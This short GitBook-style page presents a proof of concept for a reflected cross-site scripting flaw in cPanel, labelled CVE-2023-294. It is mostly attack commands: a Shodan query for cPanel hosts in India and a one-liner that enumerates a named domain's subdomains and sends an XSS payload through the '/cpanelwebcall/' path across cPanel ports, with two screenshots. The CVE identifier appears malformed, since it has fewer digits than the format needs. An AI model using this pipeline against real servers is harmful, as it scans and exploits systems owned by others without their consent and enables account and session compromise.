---
description: POC for CVE 2023-294
---

# C-Panel Reflected XSS - CVE-2023-294

```
Shodan dork: product:"cpanel" country:"IN"

#one liner

sudo subfinder -d move2inbox.com -silent -all | httpx-toolkit -silent -ports http:80,https:443,2082,2083,2086,2087 -path '/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaaaaa' -mc 400
```

<figure><img src="https://3410633120-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FV4VjgPvE4pGDuFNzpWxG%2Fuploads%2F42NEN6WL1x9OwwJFbPg5%2Fcve1.png?alt=media&#x26;token=58ce962b-c4d7-4bc2-9c6b-5b91dc583a81" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3410633120-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FV4VjgPvE4pGDuFNzpWxG%2Fuploads%2F5aJbIBRF3PhadoMfJbER%2Fcve2.png?alt=media&#x26;token=c5291981-183a-4d95-8880-6859c0390679" alt=""><figcaption></figcaption></figure>
